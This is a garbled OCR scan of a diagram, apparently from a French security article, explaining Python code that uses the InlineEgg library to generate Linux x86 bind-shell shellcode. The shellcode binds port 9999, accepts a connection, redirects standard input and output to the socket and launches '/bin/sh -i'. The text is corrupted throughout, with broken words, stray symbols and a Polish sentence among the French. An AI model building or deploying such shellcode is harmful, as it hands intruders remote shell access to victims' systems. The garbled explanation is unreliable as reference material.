egg rysunek fr

egg rysunek fr



codę en Python :


egg=InlineEgg(Linuxx86Syscall) Creer le shellcode

egg.bind(sock, ('0.0.0.0', 9999)) Creer le codę connectant le socket (dont la poignee est stockee sur la pile a 1'adresse sauvegardee dans la variable sock) au port 9999.

egg.listen(sock,1)

Creer le codę permettant de commencer 1'ecoute sur le socket dont la poignee est stockee a l'adresse sauvegardee dans la variable sock.

egg.close(sock)

Creer le codę fermant le socket dont la poignee se trouve sur la pile a l'adresse stockee dans la variable Client.

egg.execve('/bin/sh', ('sh','-i')) Creer le codę laęant le shell.

JDeposer la valeur du registre *eax sur la pile.

Fermer le socket sont la poignee est sauvegardee sur la pile._


sock=egg.Socket (Socket.AF_INET

Socket.SOCK_STREAM) ,

Creer le codę constituantje^oefćet. Dans la variable sock sauvegarder le nom du

registre dans lequel sera placee la poignee au socket (c-a-d du registre

£

sock=egg.save(sock)

Crśer le codę empilarut la valeur sto dans le registre dont le nom_se_troq( dans la variable soćfc. L'emplacei de cette valeur sur la pile ssrapduvegarde

dans la variable sock.-


client=egg.accept(sock, 0, 0)

Stwórz kod czekający na podłączenie się klienta i tworzący, na potrzeby tego połączenia, nowe gniazdo. Nazwę rejestru, w którym zwrócony będzie uchwyt gniazda zapamiętaj w zmiennej Client.


client=egg.save(Client)

Creer le code-atten€łantiS~c5nnexion du ciicnt et creant, pour les besoins de cette connexion, un nouveau socket. Stocker le nom du registre dans lequel sera retoume la poignee du socket dans la variable

Client. —


egg.dup2(Client, 0) egg.dup2(Client, 1) egg.dup2(Client, 2)

Creer le codę connectant 1'entree et la sortie standard et la sortie d'erreur au socket dont la poignee se trouve a l'adresse stockee dans la variable Client


Connecter le socket (dont la poignee est stockee sur la pile) au port 9999.

r

Commencer 1'ecoute sur le socket dont la poignee est sauvegardee sur la pile.

r


Attendre la connexion du Client et creer, pour les besoins de cette connexion, un nouveau socket. La poignee dus5Ck»Ł§era retoumee dans le registre %eax.


Connecter l'entree et la sortie standard et la sortie d'erreur au socket dont la poignee est sauvegardee sur la pile.

'

r

Lancer le shel




Wyszukiwarka

Podobne podstrony:
egg rysunek fr codę en Python I a=egg.save(5) Crśer le codę empilant la valeur
egg rysunek fr © © sommet de la pile © valeur empilee par le shellcode valeur empilee par le
egg rysunek es codigo en Python: INI CIO sock = i eqq=InlineEqq(Linuxx86Syscall) Crea el
egg rysunek es código en Python
egg rysunek ? Der Codę unter Python:
egg rysunek en Python codę Address, where value 5 will be put is located in variable a. shellc
egg rysunek en Python codę:Ci START shellcode: egg.listen(sock, 1) Create codę that starts listenni
egg rysunek? Codę in PythonDii 5 T~
egg rysunek fr Client (intrus) victime (serveur) -fflT ---- ^ tampon (1) 1 intrus envoie le
egg rysunek pl kod w Pythonie: 3zelkod: egg=Inli neEgg(Linuxx8 6S yscal1) Stwórz szelkod START sock
rysunek techniczny 1 3 -    PN-EN ISO 4034:2004 Nakrętki sześciokątne. Klasa dokładno
Fleurs en perles? rocaille,h redimensionner Pour toute le varante e calice el le fcuille retent le
La Maison? Tilda7 { if&e Procedez comme pour le peignoir, en vous arretant aux pointilles 
LT71 12. Le TGV Pendulaire P 01 ś Brives-la-Gaillarde en acheminement depuis Villeneuve-Saint-Geor
skanuj0010 (431) EN 10002-1:2001 4.5 długość pomiarowa ekstensometru (Le) długość odcinka równoległe
- 32 - a [d~[ ForSt ciaire en zonę aride (*). Les arbres y ćtccnt le plus souvent & tige multipl

więcej podobnych podstron